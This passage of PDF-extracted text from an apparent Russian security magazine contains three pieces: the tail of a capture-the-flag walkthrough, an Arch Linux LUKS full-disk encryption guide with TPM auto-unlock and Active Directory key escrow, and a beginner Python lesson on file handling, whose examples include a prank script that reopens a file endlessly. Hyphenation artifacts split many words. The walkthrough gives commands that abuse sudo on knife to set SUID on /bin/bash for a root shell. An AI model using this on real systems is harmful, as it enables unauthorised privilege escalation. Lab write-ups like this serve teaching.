функ­ цию system, чтоб­ ы запус‐­ тить реверс‑шелл, не получил­ ось, поэтом­ у пришл­ ось искать друг­ ие спос­ обы закр­ епитьс­ я в  прив­ илег­ иров­ анн­ ом конт­ екс­ те. Напр­ имер, можн­ о записать ключ­ и SSH, созд­ ать прив­ илег­ иров­ анн­ ых польз­ овател­ ей и так далее. Я решил назн­ ачить бит SUID обол­ очк­ е /bin/bash. Справка: бит SUID Когд­ а у файл­ а устан­ овл­ ен атриб­ ут setuid (S-атриб­ ут), обычн­ ый польз­ ователь, запуск­ ающий этот файл, получае­ т повышен­ ие прав до  польз­ овател­ я  — вла‐­ дельц­ а файл­ а в рамк­ ах запущенн­ ого проц­ есс­ а. Посл­ е получен­ ия повышенн­ ых прав прил­ ожен­ ие может выполн­ ять задачи, которые недост­ упны обычн­ ому польз­ овател­ ю. Из‑за возм­ ожност­ и сост­ ояния гонк­ и мног­ ие опер­ ацио­ нные сист­ емы игнор­ ирую­ т S-атриб­ ут, устан­ овл­ енный shell-скрипт­ ам. echo \"system('chmod +s /bin/bash')\" > test.rb sudo /usr/bin/knife exec test.rb /bin/bash -p Флаг рута Мы получае­ м флаг рута и таким образ­ ом захв­ атывае­ м машину.

ТРЮКИ LUKS GOOD! Андрей Балабанов Главный инженер Центра компетенций по защите АРМ и серверов Сбербанка СТАВИМ LINUX НА ШИФРОВАННЫЙ РАЗДЕЛ И ДЕЛАЕМ УДОБНОЙ РАБОТУ С НИМ Сег­ одн­ я полн­ одиск­ овое шифр­ ование  — это  норм­ а. В  Windows для  этог­ о есть BitLocker, в  macOS  — FileVault и  APFS. В  Linux для  тех же целей служ­ ит dm-crypt и  LUKS. В этой статье я покажу, как устан­ овить ОС на шифр­ ованн­ ый корн­ евой разд­ ел, наст­ рои­ ть автор­ азб­ лок­ ировк­ у при  заг‐­ рузке с  помощью модуля TPM и  новой фичи systemd- cryptsetup, а  такж­ е резерв­ ировать ключ восс­ тан­ овл­ ения в  Active Directory. Все трюк­ и будем делать в  Arch Linux, хотя ты с легк­ остью смож­ ешь повт­ орить их в свое­ м любимом дис‐­ триб­ утив­ е. Шифр­ ование диск­ ов в  Linux реализ­ уетс­ я с  помощью подс­ истем­ ы dm-crypt Crypto API (встрое­ но в  ядро начиная с  верс­ ии  2.6). Подс­ истем­ а dm-crypt работае­ т благ­ одар­ я модулю ядра, который отобр­ ажае­ т шифр­ ованн­ ый диск в вирт­ уальн­ ое устройс­ тво. На вид оно ничем не отлич­ аетс­ я от обычн­ ого блоч‐­ ного устройс­ тва хран­ ения данн­ ых. Для  управлен­ ия ключ­ ами шифр­ ования использ­ уетс­ я разд­ ел LUKS (Linux Unified Key Setup). Форм­ ат LUKS позв­ оляе­ т использ­ овать до восьм­ и ключ­ ей шифр­ ования для одног­ о разд­ ела. INFO шифр­ ование Чит­ ай такж­ е: «Полн­ одиск­ овое с LUKS2» и «Бэкд­ ор для LUKS». КАК УСТРОЕН РАЗДЕЛ LUKS Разд­ ел LUKS имее­ т след­ ующий форм­ ат. Он начинае­ тся с  заголовк­ а phdr, далее за  ним след­ уют слот­ ы с  ключ­ евым­ и данн­ ыми (KM1, KM2, ..., KM8). За ключ­ евым­ и данн­ ыми расп­ олагаю­ тся данн­ ые, шифр­ ованн­ ые маст­ ер‑ключ­ ом. Заг­ олов­ ок phdr хран­ ит информац­ ию о прот­ окол­ е и режиме шифр­ ования, длин­ у ключ­ ей, идент­ ификат­ ор UUID и конт­ рольн­ ую сумм­ у маст­ ер‑ключ­ а. В LUKS для  одног­ о зашифр­ ованн­ ого разд­ ела зарезерв­ ирован­ о восемь слот­ ов, в  кажд­ ом из  которых может хран­ итьс­ я отдельн­ ый ключ. Любой из восьм­ и ключ­ ей может быть использ­ ован для расш­ ифровк­ и разд­ ела. Заг­ олов­ ок и  слот­ ы ключ­ ей можн­ о хран­ ить на друг­ ом физическ­ ом носите‐­ ле, отдельн­ о от  зашифр­ ованн­ ых данн­ ых, тем самым реализ­ уя мног­ офак‐­ торную защиту. Но при утрат­ е заголовк­ а или слот­ ов получить дост­ уп к зашиф‐­ рованн­ ым данн­ ым стан­ овитс­ я невозм­ ожно. Для управлен­ ия шифр­ ование­ м диск­ ов использ­ уетс­ я утил­ ита cryptsetup. С помощью этой утил­ иты возм­ ожно: • созд­ авать шифр­ ованн­ ые разд­ елы LUKS; • отк­ рыв­ ать и закр­ ывать разд­ елы LUKS; • упр­ авлять слот­ ами ключ­ ей; • дамп­ ить заголов­ ок LUKS и маст­ ер‑ключ. Для работы cryptsetup треб­ уютс­ я прав­ а суперп­ ольз­ овател­ я и пароль шиф‐­ рования. ШИФРУЕМ Пер­ еход­ им к  практ­ ике! Шифр­ овать мы будем тольк­ о рутовый разд­ ел. Есть, конечн­ о, экзот­ ическ­ ие кейс­ ы, когд­ а, помимо разд­ ела root, шифр­ уетс­ я еще и разд­ ел boot, но такая конф­ игурац­ ия подд­ ержив­ аетс­ я не всем­ и загр­ узчик­ ами и  не счит­ аетс­ я станд­ арт­ ной и  рекоменд­ ованн­ ой. Мы же вообщ­ е не  будем использ­ овать загр­ узчик, так что оставляе­ м boot в  покое и  шифр­ уем все остальн­ ое. Начн­ ем собирать нашу сист­ ему, загр­ узивш­ ись с устан­ овочн­ ого диск­ а. Для начала разм­ етим диск след­ ующим образ­ ом: sda1 для  /boot, sda2 для /. Схем­ у разд­ елов выбирае­ м GPT. $ parted /dev/sda mklabel gpt mkpart primary fat32 1MiB 501MiB $ parted /dev/sda set 1 esp on $ parted /dev/sda mkpart primary btrfs 501MiB 100% Дал­ ее созд­ адим наш LUKS на sda2. $ cryptsetup luksFormat /dev/sda2 WARNING! ======== This will overwrite data on /dev/sda2 irrevocably. Are you sure? (Type 'yes' in capital letters): YES Enter passphrase for /dev/sda2: Verify passphrase: cryptsetup luksFormat /dev/sda2 18.16s user 1.88s system 80% cpu 24.742 total Взглян­ ем теперь на LUKS. $ cryptsetup luksDump /dev/sda2 LUKS header information Version: 2 Epoch: 3 Metadata area: 16384 [bytes] Keyslots area: 16744448 [bytes] UUID: e04b5b87-6bfc-4f73-83b0-36f91d52f141 Label: (no label) Subsystem: (no subsystem) Flags: (no flags) Data segments: 0: crypt offset: 16777216 [bytes] length: (whole device) cipher: aes-xts-plain64 sector: 512 [bytes] Keyslots: 0: luks2 Key: 512 bits Priority: normal Cipher: aes-xts-plain64 Cipher key: 512 bits PBKDF: argon2i Time cost: 7 Memory: 483194 Threads: 2 Salt: a8 d7 82 ce 89 c8 0f d6 29 18 83 e5 5d 9d a7 f1 a2 6d 66 81 70 db c4 82 cc fb ae 81 4c 7f ed 0c AF stripes: 4000 AF hash: sha256 Area offset:32768 [bytes] Area length:258048 [bytes] Digest ID: 0 Tokens: Digests: 0: pbkdf2 Hash: sha256 Iterations: 149967 Salt: 87 ac 6f 61 75 fb 91 14 63 5d ca 5d 1c 25 ef 42 7b af 51 63 34 eb 26 d5 d7 be 7a 78 7b 2a 25 f1 Digest: da e7 fd 26 59 85 5d 5e 34 79 2a fa 20 95 f1 83 13 10 0d 0e a3 58 a6 0e 33 b0 f0 73 e8 0a a1 1e Видн­ о, что мы задейс­ твов­ али один из восьм­ и дост­ упных слот­ ов с ключ­ ами — дост­ уп к нему огран­ ичен паролем. Алг­ оритм шифр­ ования по  умолч­ анию (aes-xts-plain64) нас устрои­ т. Перечень всех подд­ ержив­ аемых алгор­ итм­ ов зависит от  ядра (загл­ яни в /proc/crypto). Можн­ о прот­ ест­ ировать работу с ними. $ cryptsetup benchmark # Tests are approximate using memory only (no storage IO) PBKDF2-sha1 1817289 iterations per second for 256-bit key PBKDF2-sha256 2302032 iterations per second for 256-bit key PBKDF2-sha512 1646116 iterations per second for 256-bit key PBKDF2-ripemd160 903944 iterations per second for 256-bit key PBKDF2-whirlpool 681778 iterations per second for 256-bit key argon2i N/A argon2id N/A # Algorithm | Key | Encryption | Decryption aes-cbc 128b 1126.9 MiB/s 2966.7 MiB/s serpent-cbc 128b 98.6 MiB/s 736.0 MiB/s twofish-cbc 128b 226.0 MiB/s 404.9 MiB/s aes-cbc 256b 868.5 MiB/s 2594.2 MiB/s serpent-cbc 256b 107.9 MiB/s 779.9 MiB/s twofish-cbc 256b 241.6 MiB/s 433.4 MiB/s aes-xts 256b 3152.7 MiB/s 3146.5 MiB/s serpent-xts 256b 676.5 MiB/s 665.9 MiB/s twofish-xts 256b 400.6 MiB/s 410.4 MiB/s aes-xts 512b 2614.9 MiB/s 2600.2 MiB/s serpent-xts 512b 687.1 MiB/s 711.3 MiB/s twofish-xts 512b 413.0 MiB/s 417.2 MiB/s cryptsetup benchmark 9.54s user 23.98s system 107% cpu 31.226 total Отк­ рое­ м разд­ ел. $ cryptsetup open /dev/sda2 cryptroot Enter passphrase for /dev/sda2: Посл­ е этих манипул­ яций у  нас в  сист­ еме стал дост­ упен новый разд­ ел cryptroot. $ lsblk /dev/sda NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 8G 0 disk ├─sda1 8:1 0 500M 0 part └─sda2 8:2 0 7.5G 0 part └─cryptroot 253:0 0 7.5G 0 crypt Созд­ адим на разд­ елах файл­ овые сист­ емы. $ mkfs.fat -F32 /dev/sda1 $ mkfs.btrfs -f -L \"archroot\" /dev/mapper/cryptroot Для прод­ олж­ ения устан­ овк­ и прим­ онт­ ируе­ м наши разд­ елы. $ mount /dev/mapper/cryptroot /mnt $ btrfs subvolume create /mnt/@root $ btrfs subvolume create /mnt/@home $ umount /mnt $ mount /dev/mapper/cryptroot /mnt -o subvol=@root,ssd,noatime,space_ cache,compress=zstd $ mkdir /mnt/home $ mount /dev/mapper/cryptroot /mnt/home -o subvol=@home,ssd,noatime, space_cache,compress=zstd $ mkdir /mnt/boot $ mount /dev/sda1 /mnt/boot Загл­ ядывая одним глаз­ ом в вик­ и, устан­ авл­ ивае­ м сист­ ему обычн­ ым образ­ ом. Не забудем включ­ ить хук encrypt при созд­ ании initramfs. $ vim /etc/mkinitcpio.conf HOOKS=(base udev autodetect keyboard keymap modconf block encrypt filesystems) $ mkinitcpio -p linux Фин­ альн­ ый этап  — наст­ ройк­ а UEFI для  загр­ узки нашего ядра. Напомин­ аю, что мы обойд­ емс­ я без  GRUB и  будем загр­ ужать ядро напр­ ямую, использ­ уя фичу EFISTUB. Доб­ авл­ яем запись в UEFI. $ efibootmgr \\ --create \\ --bootnum=0000 \\ --label \"Arch Linux\" \\ --disk /dev/sda \\ --part 1 \\ --loader /vmlinuz-linux \\ --unicode 'cryptdevice=/dev/sda2:cryptroot root=/dev/mapper/ cryptroot rootflags=subvol=@root rw initrd=\\initramfs-linux.img' \\ --verbose Особ­ ое вним­ ание обрат­ и на  параметр­ ы ядра! Без  них сист­ ема прост­ о не смож­ ет найт­ и шифр­ ованн­ ый разд­ ел. Пер­ езагр­ ужае­ мся и убежд­ аемс­ я, что все работае­ т, как мы хотели: на этап­ е загр­ узки треб­ уетс­ я ввод пароля для расш­ ифров­ ания разд­ ела. first_reboot →Продолжение статьи

ТРЮКИ ← НАЧАЛО СТАТЬИ LUKS GOOD! СТАВИМ LINUX НА ШИФРОВАННЫЙ РАЗДЕЛ И ДЕЛАЕМ УДОБНОЙ РАБОТУ С НИМ НАСТРАИВАЕМ АВТОРАЗБЛОКИРОВКУ Хот­ елось  бы не  ввод­ ить пароль при  загр­ узке кажд­ ый раз. Для  этог­ о нужн­ о наст­ рои­ ть автор­ азб­ лок­ ировк­ у LUKS с помощью чипа TPM. Убед­ имс­ я, что мы счаст­ лив­ ые облад­ ател­ и TPM. Необх­ одимая верс­ ия TPM — 2.0. $ test -e /dev/tpm0 && echo PASS || echo FAIL PASS $ cat /sys/class/tpm/tpm0/device/description TPM 2.0 Device or $ cat /sys/class/tpm/tpm0/tpm_version_major 2 Авт­ оразб­ лок­ ировк­ у сдел­ аем с  помощью относ­ ительн­ о новой фичи systemd- cryptsetup. INFO Systemd-cryptsetup добавл­ ена в systemd начиная с верс­ ии 248. Для начала необх­ одимо пров­ ерить нашу верс­ ию systemd. $ systemctl --version systemd 249 (249.2-1-arch) +PAM +AUDIT -SELINUX -APPARMOR -IMA +SMACK +SECCOMP +GCRYPT +GNUTLS +OPENSSL +ACL +BLKID +CURL +ELFUTILS +FIDO2 +IDN2 -IDN +IPTC +KMOD +LIBCRYPTSETUP +LIBFDISK +PCRE2 -PWQUALITY +P11KIT -QRENCODE +BZIP2 +LZ4 +XZ +ZLIB +ZSTD +XKBCOMMON +UTMP -SYSVINIT default-hierarchy=unified Все отлично. Для работы с TPM нужн­ о дополн­ ительн­ о устан­ овить пакет tpm2- tss. $ pacman -Sy tpm2-tss Дал­ ее добавим ключ TPM в слот LUKS с помощью тулз­ ы systemd-cryptenroll. $ systemd-cryptenroll /dev/sda2 --tpm2-device=auto --tpm2-pcrs=0,4 Не забывае­ м пров­ ерить. $ systemd-cryptenroll /dev/sda2 SLOT TYPE --------- 0 password 1 tpm2 В команд­ е выше мы указ­ али параметр --tpm2-pcrs=0,4. Что такое PCR? Вот опр­ еделен­ ие из Википед­ ии: « PCR  — это  внутр­ енние регист­ ры памяти TPM, в  которых в  зашиф- рованн­ ом виде содерж­ ится вся информац­ ия о  целост­ ност­ и метр­ ик сист­ емы, начиная с  загр­ узки BIOS до  заверш­ ения работы сист­ емы. Информац­ ия, содерж­ ащая­ ся в  PCR, форм­ ируе­ т корень доверия для  измер­ ений (RTM). Могут хран­ итьс­ я как  в энерг­онезав­ исим­ ой, так и в энерг­озавис­ имой памяти. Эти регист­ ры сбрас­ ываю­ тся при старт­ е и при перезагр­ узке сист­ емы. Спец­ ифик­ ация предп­ исывае­ т минималь-­ ное количест­ во регист­ ров (16), кажд­ ый регистр содерж­ ит  160  бит информац­ ии. Регист­ ры  0–7  зарезерв­ ирован­ ы для  нужд TPM. Регис-­ тры 8–15 дост­ упны для использ­ ования опер­ ацио­ нной сист­ емой и при-­ ложен­ иями. Измен­ ения знач­ ений PCR необр­ атимы, и  их знач­ ения нельз­ я записать напр­ ямую, их можн­ о тольк­ о расш­ ирить новыми зна-­ чения­ ми, которые зависят от  пред­ ыдущ­ их. Все измен­ ения знач­ ений PCR записыв­ аютс­ я в  лог измен­ ений, который хран­ итс­ я в  энерг­озави-­ »симой памяти. PCR Use PCR0 Core System Firmware executable code (aka Firmware) PCR1 Core System Firmware data (aka UEFI settings) PCR2 Extended or pluggable executable code PCR3 Extended or pluggable firmware data PCR4 Boot Manager PCR5 GPT / Partition Table Resume from S4 and S5 Power State Events PCR6 Secure Boot State Hash of the booted kernel PCR7 Reserved for Future Use PCR8 BitLocker Access Control PCR 9 Data events and highly volatile events to 10 Boot Module Details Boot Authorities PCR11 Reserved for Future Use PCR12 PCR13 PCR14 PCR 15 to 23 Для включ­ ения systemd-cryptsetup необх­ одимо добавить в /etc/mkinicpio. conf хуки systemd и sd-encrypt. HOOKS=(base systemd modconf block keyboard sd-encrypt filesystems fsck) $ mkinicpio -P Нак­ онец, измен­ им строк­ у загр­ узки, добавив параметр­ ы rd.luks.name и  rd. luks.name. $ blkid /dev/sda2 /dev/sda2: UUID=\"e04b5b87-6bfc-4f73-83b0-36f91d52f141\" TYPE=\"crypto_LUKS\" PARTLABEL=\"primary\" PARTUUID=\"136ffe26-5569-4c76- a871-9025ea52dbd8\" $ efibootmgr \\ --create \\ --bootnum=0001 \\ --label \"Arch Linux\" \\ --disk /dev/sda \\ --part 1 \\ --loader /vmlinuz-linux \\ --unicode 'rd.luks.name=e04b5b87-6bfc-4f73-83b0-36f91d52f141=cryptroot rd.luks.options=tpm2-device=auto root=/dev/mapper/cryptroot rootflags=subvol=@root rw initrd=\\initramfs-linux.img' \\ --verbose Пер­ езагр­ ужае­ мся и пров­ еряе­ м, что все работае­ т как надо. Для тех, кому systemd-cryptsetup по каким‑то прич­ инам не подх­ одит (нап‐­ ример, верс­ ия systemd стар­ ая или  вообщ­ е нет systemd), могу пореком­ ен‐­ довать фрейм­ ворк Clevis. С  его помощью можн­ о реализ­ овать след­ ующие сцен­ арии автор­ азб­ лок­ ировк­ и LUKS: • tpm2 — разб­ лок­ ировк­ а с TPM; • tang — разб­ лок­ ировк­ а с сетевог­ о серв­ ера. Вот как использ­ овать Сlevis с TPM: $ clevis luks bind -d /dev/sda2 tpm2 '{\"pcr_bank\":\"sha1\",\"pcr_ids\":\"0, 4\"}' Enter existing LUKS password: *************** Пров­ еряе­ м. $ sudo clevis luks list -d /dev/sda2 1: tpm2 '{\"hash\":\"sha256\",\"key\":\"ecc\",\"pcr_bank\":\"sha1\",\"pcr_ids\":\"0,4\"} Вар­ иант с  серв­ ером tang наст­ раи­ ваетс­ я не  сложн­ ее (разумее­ тся, заранее разв­ орачив­ аем tang и обесп­ ечивае­ м сетевую дост­ упность): $ sudo clevis luks bind -d /dev/sda2 tang '{\"url\":\"http://192.168.88. 101:7500\"}' The advertisement contains the following signing keys: QjvwIdUeor3gBqxLteIOKvWPRqM Do you wish to trust these keys? [ynYN] y Enter existing LUKS password: Пров­ еряе­ м. $ sudo clevis luks list -d /dev/sda2 1: tpm2 '{\"hash\":\"sha256\",\"key\":\"ecc\",\"pcr_bank\":\"sha1\",\"pcr_ids\":\"0,4\"} ' 2: tang '{\"url\":\"http://192.168.88.101:7500\"}' В закл­ ючение темы автор­ азб­ лок­ ировк­ и стои­ т упом­ януть некотор­ ые огран­ иче‐­ ния фрейм­ ворк­ а Clevis: • Clevis работае­ т тольк­ о с TPM 2.0; TPM 1.2 не подд­ ержив­ аетс­ я. • В Tang не реализ­ ован механизм смен­ ы ключ­ ей. • Для Tang необх­ одима дост­ упность сети на  этап­ е загр­ узки, поэтом­ у, нап‐­ ример, для Wi-Fi-подк­ люч­ ения треб­ уетс­ я дополн­ ительн­ ая наст­ ройк­ а адап‐­ тера в initrd. СОЗДАНИЕ КЛЮЧЕЙ ВОССТАНОВЛЕНИЯ Бэк­ апы ключ­ ей в  таком деле, как  шифр­ ование, долж­ ны быть, об  этом знае­ т кажд­ ый. Есть два вариа­ нта созд­ ания ключ­ ей восс­ тан­ овл­ ения: • дамп заголовк­ а и маст­ ер‑ключ­ а; • зап­ ись пароля восс­ тан­ овл­ ения в Active Directory. Делаем копию мастер-ключа Сдел­ ать резерв­ ную копию заголовк­ а и  маст­ ер‑ключ­ а можн­ о с  помощью хорошо извест­ ной нам утил­ иты cryptsetup. WARNING С помощью созд­ анной копии можн­ о будет получить дост­ уп к  разд­ елу, не  зная пароль, поэтом­ у нас заботл­ иво пред­ упр­ еждаю­ т, что хра‐­ нить ее нужн­ о в секр­ ете! $ cryptsetup luksDump --dump-master-key /dev/sda2 --master-key-file mk. dump WARNING! ======== The header dump with volume key is sensitive information that allows access to encrypted partition without a passphrase. This dump should be stored encrypted in a safe place. Are you sure? (Type 'yes' in capital letters): YES Enter passphrase for /dev/sda2: LUKS header information for /dev/sda2 Cipher name: aes Cipher mode: xts-plain64 Payload offset: 32768 UUID: e04b5b87-6bfc-4f73-83b0-36f91d52f141 MK bits: 512 Key stored to file mk.dump $ xxd mk.dump 00000000: 1501 eccc 84fd 82f7 f53b 56ae 4ab8 5775 .........;V.J.Wu 00000010: 4968 ea61 8d01 1f29 985e 33af 5537 ba40 Ih.a...).^3.U7.@ 00000020: af61 6aa2 b384 afe1 aff6 d4c9 ad95 1d67 .aj............g 00000030: 3a4f d64f 33ea 6f50 0a18 1139 9196 d694 :O.O3.oP...9.... При необх­ одимост­ и можн­ о восс­ тан­ овить заголов­ ок и  устан­ овить новый пароль. $ cryptsetup luksAddKey /dev/sda2 --master-key-file mk.dump Enter new passphrase for key slot: ******** Verify passphrase: ******** Добавляем пароль восстановления в Active Directory Друг­ ой интер­ есн­ ый спос­ об — это хран­ ение пароля в AD. Для начала нужн­ о включ­ ить нашу Arch Linux в  домен. Делать это  буду с помощью System Security Services Daemon (SSSD) и realmd. Уст­ анавл­ ивае­ м sssd обычн­ ым спос­ обом: $ pacman -Sy sssd А realmd став­ им из AUR. Убед­ имс­ я, что домен дост­ упен. $ realm discover ad.localdomain ad.localdomain type: kerberos realm-name: AD.LOCALDOMAIN domain-name: ad.localdomain configured: no server-software: active-directory client-software: sssd Прис­ оедин­ яемс­ я к домену, для этог­ о понадоб­ итс­ я учетн­ ая запись с прав­ ами ввод­ а в домен (для прост­ оты — administrator). $ realm join ad.localdomain Password for Administrator: ******** Пров­ еряе­ м, что все прошл­ о успешно и мы получил­ и билеты Kerberos: $ realm list ad.localdomain type: kerberos realm-name: AD.LOCALDOMAIN domain-name: ad.localdomain configured: kerberos-member server-software: active-directory client-software: sssd login-formats: %[email protected] login-policy: allow-realm-logins $ klist -k Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- ------------------------------------------------------------------- ------- 2 [email protected] AIN [email protected] 2 [email protected] 2 host/[email protected] 2 host/[email protected] 2 host/[email protected] 2 RestrictedKrbHost/[email protected] 2 RestrictedKrbHost/[email protected] 2 RestrictedKrbHost/[email protected] Пар­ оль восс­ тан­ овл­ ения будем хран­ ить в  учетн­ ой записи компью­ тер­ а: это  дочерн­ ий объе­ кт класс­ а msFVE-RecoveryInformation. Так делае­ т вин‐­ довый BitLocker, анал­ огичн­ о пост­ упим и мы. Зап­ исыв­ ать пароль в AD буду с помощью скрипт­ а на Python. $ git clone https://github.com/ambalabanov/lukscrow $ cd lukscrow/ $ pip install -r requirements.txt Зап­ уск­ аем утил­ иту, указ­ ав необх­ одимые параметр­ ы и текущий ключ (пароль): $ ./lukscrow --luks-device /dev/sda2 --ldap-url \"ldap://ad.localdomain\" --computers-base-dn \"CN=Computers,DC=ad,DC=localdomain\" --unlock-key ******** Using Kerberos credential cache /tmp/tmpcsdyn49r Connected to AD as 'u:AD\\ARCH$' Generating recovery key... Adding recovery key to LUKS volume... New key added. Storing recovery key in Active Directory Recovery key saved to AD. Remove Kerberos credential cache /tmp/tmpcsdyn49r Removed cache file. Пров­ еряе­ м в AD, что пароль восс­ тан­ овл­ ения успешно записалс­ я. Ну и напосл­ едок пров­ еряе­ м сам пароль. $ sudo cryptsetup --test-passphrase luksOpen /dev/sda2 && echo TRUE || echo FALSE Enter passphrase for /dev/sda2: 287781-171655-523297-666928-307170- 072073-039516-177220 TRUE ЗАКЛЮЧЕНИЕ Итак, мы устан­ овил­ и Arch Linux на шифр­ ованн­ ый корн­ евой разд­ ел, наст­ рои­ ли автор­ азб­ лок­ ировк­ у при  старт­ е и  позабот­ ились о  резерв­ ирован­ ии ключ­ ей. Надею­ сь, для тебя это тоже было увлек­ ательн­ ым прикл­ ючение­ м!

КОДИНГ PYTHON С АБСОЛЮТНОГО НУЛЯ РАБОТАЕМ С ОС, ИЗУЧАЕМ РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ И ФУНКЦИИ Иван Сараев [email protected] Сег­ одн­ я мы поработ­ аем с  файл­ овой сист­ емой ОС  — научимс­ я ходить по каталог­ ам, открыв­ ать и измен­ ять файл­ ы. Затем освои­ м могущест­ венн­ ые закл­ инания под  назв­ ание­ м «регулярн­ ые выражен­ ия», изуч­ им тонк­ ости созд­ ания и вызова функ­ ций и под конец напишем прост­ еньк­ ий скан­ ер SQL-уязв­ имост­ ей. И все это в одном недл­ инном урок­ е! От редакции Эта статья — часть цикл­ а «Python с абсол­ ютн­ ого нуля», где мы расс­ каз­ ывае­ м об  азах Python в  нашем фирм­ енном неск­ учном стил­ е. Ты можешь читать их по порядк­ у или выбирать какие‑то области, которые хотел бы подт­ януть. • Урок 1: Пер­ еменн­ ые, типы данн­ ых, услов­ ия и цикл­ ы • Урок 2: Строк­ и, файл­ ы, исключ­ ения и работа с интернет­ ом Перв­ ые два урок­ а дост­ упны целиком без  платн­ ой подп­ иски. Этот  — почт­ и целиком: за исключ­ ение­ м посл­ еднег­ о прим­ ера и домашн­ его задания. РАБОТАЕМ С ФАЙЛАМИ Начн­ ем, как всегд­ а, с несл­ ожных вещей. В Python есть модуль с лаконичн­ ым назв­ ание­ м os, который (ты не поверишь!) предн­ азнач­ ен для взаи­ мод­ ейс­ твия прогр­ аммы с опер­ ацио­ нной сист­ емой, в том числ­ е для управлен­ ия файл­ ами. Перв­ ым делом, конечн­ о, нужн­ о импортир­ овать его в начале нашего скрип‐­ та: import os И теперь нам открыв­ аютс­ я разн­ ые интер­ есн­ ые возм­ ожност­ и. К  прим­ еру, мы можем получить путь к  текущей папк­ е. Снач­ ала она совп­ адае­ т с  той, в которой ты был при запуск­ е скрипт­ а (даже если сам скрипт находитс­ я где‑то в  друг­ ом мест­ е), но  по ходу исполнен­ ия прогр­ аммы мы можем менять это знач­ ение при помощи функ­ ции os.chdir(). # Возвращает путь к текущей рабочей папке pth=os.getcwd() print(pth) # Устанавливает путь к текущей рабочей папке, в данном случае это диск D:/ os.chdir(r'D:/') INFO Есл­ и ты работае­ шь в Windows, то в пути к файл­ у или  папк­ е перед  открыв­ ающей кавычк­ ой ука‐­ зывай букв­ у r (что означ­ ает raw) или  вмест­ о одной косой черт­ ы в пути ставь две. Попр­ обуе­ м получить спис­ ок файл­ ов с  расш­ ирение­ м .py, находящ­ ихс­ я в текущей директ­ ории. Для этог­ о использ­ уем модули os и fnmatch. import os import fnmatch # В цикле, с помощью os.listdir('.') получим список файлов # в текущей директории (точка в скобках как раз ее и обозначает) for fname in os.listdir('.'): # Если у текущего имени файла расширение .py, то печатаем его if fnmatch.fnmatch(fname, '*.py'): print(fname) Мод­ уль fnmatch позв­ оляе­ т искать в строк­ ах опред­ еленн­ ый текст, подх­ одящий по маск­ е к заданн­ ому шабл­ ону: • * заменяе­ т любое количест­ во любых симв­ олов; • ? заменяе­ т один любой симв­ ол; • [seq] заменяе­ т любые симв­ олы из  посл­ едоват­ ельн­ ост­ и в  квадр­ атных скобк­ ах; • [!seq] заменяе­ т любые симв­ олы, кром­ е тех, что прис­ утст­ вую­ т в  квад‐­ ратных скобк­ ах. Дав­ ай безж­ алост­ но удал­ им какой‑нибудь файл: import os (os.remove(r'D:\\allmypasswords.txt')) Пер­ еимен­ уем файл: import os os.rename('lamer.txt','xakep.txt') А теперь созд­ адим папк­ у по указ­ анн­ ому пути и сраз­ у же удал­ им ее. Для этог­ о приг­ одитс­ я модуль shutil, где есть функ­ ция rmtree(), которая удал­ яет папк­ у вмест­ е с содерж­ имым. import os import shutil os.makedirs(r'D:\\secret\\beer\\photo') # Создает все папки по указанному пути shutil.rmtree(r'D:\\secret\\beer\\photo') # Удаляет папку вместе с ее содержимым Доп­ уст­ им, ты хочешь получить спис­ ок всех файл­ ов, содерж­ ащихс­ я в  папк­ ах по  указ­ анн­ ому пути (учит­ ывая влож­ енн­ ые папк­ и тоже), чтоб­ ы найт­ и что‑то интер­ есн­ ое. Скрипт будет выгл­ ядеть след­ ующим образ­ ом: WARNING Будь остор­ ожен  — скрипт в  таком виде обшар­ ит весь диск D. Если он у тебя есть и там мног­ о хла‐­ ма, то проц­ есс может затянутьс­ я. import os for root, dirs, files in os.walk(r'D:'): for name in files: fullname = os.path.join(root, name) print(fullname) if('pass' in fullname): print('Бинго!!!') Функ­ ция walk() модуля os прин­ имае­ т один обяз­ ательн­ ый аргум­ ент  — имя каталог­ а. Она посл­ едоват­ ельн­ о прох­ одит все влож­ енн­ ые каталог­ и и возв­ ра‐­ щает объе­ кт‑генерат­ ор, из которог­ о получаю­ т: • адр­ ес очер­ едн­ ого каталог­ а в виде строк­ и; • спис­ ок имен подк­ аталог­ ов перв­ ого уровн­ я влож­ енн­ ости для  данн­ ого каталог­ а; • спис­ ок имен файл­ ов данн­ ого каталог­ а. INFO Ген­ ерат­ ор  — это объе­ кт, который сраз­ у при соз‐­ дании не вычисл­ яет знач­ ения всех свои­ х элем­ ен‐­ тов. Этим генерат­ оры отлич­ аютс­ я от списк­ ов — те хран­ ят в памяти все свои элем­ ент­ ы, и удал­ ить их можн­ о тольк­ о прогр­ амм­ но. Вычисл­ ения с  помощью генерат­ оров называю­ тся ленивым­ и, они экон­ омят память. Подр­ обнее мы расс­ мотр­ им генерат­ оры в след­ ующих урок­ ах. Сейч­ ас покажу, как  узнать разм­ ер любого файл­ а, а  такж­ е дату его модифи‐­ кации. import os.path # Модуль для преобразования даты в приемлемый формат from datetime import datetime path = r'C:\\Windows\\notepad.exe' # Получим размер файла в байтах size = os.path.getsize(path) # А теперь в килобайтах # Две косые черты — это целочисленное деление ksize = size // 1024 atime = os.path.getatime(path) # Дата последнего доступа в секундах с начала эпохи mtime = os.path.getmtime(path) # Дата последней модификации в секундах с начала эпохи print ('Размер: ', ksize, ' KB') print ('Дата последнего использования: ', datetime.fromtimestamp( atime)) print ('Дата последнего редактирования: ', datetime.fromtimestamp( mtime)) INFO Для опер­ ацио­ нных сист­ ем Unix 1  январ­ я  1970, 00:00:00 (UTC)  — точк­ а отсчет­ а врем­ ени, или  «начало эпох­ и». Чаще всег­ о врем­ я в  компь‐­ ютер­ е вычисл­ яетс­ я в  виде прош­ едш­ их с  этог­ о момент­ а секунд и  лишь затем перевод­ итс­ я в удобн­ ый для человек­ а вид. Дав­ ай пошутим над юзер­ ом: созд­ адим какой‑нибудь файл и будем пост­ оянн­ о его открыв­ ать с помощью той прогр­ аммы, которой этот файл обычн­ о откры‐­ ваетс­ я в сист­ еме: import os # Модуль time понадобится для паузы, чтобы не слишком часто открывалось import time # Создаем текстовый файл f=open('beer.txt','w',encoding='UTF-8') f.write('СРОЧНО НАЛЕЙТЕ ХАКЕРУ ПИВА, ИНАЧЕ ЭТО НЕ ЗАКОНЧИТСЯ!!') f.close() while True: # Открываем файл программой по умолчанию os.startfile('beer.txt') # Делаем паузу в одну секунду time.sleep(1) Ниж­ е прив­ еден спис­ ок еще некотор­ ых полезн­ ых команд: • 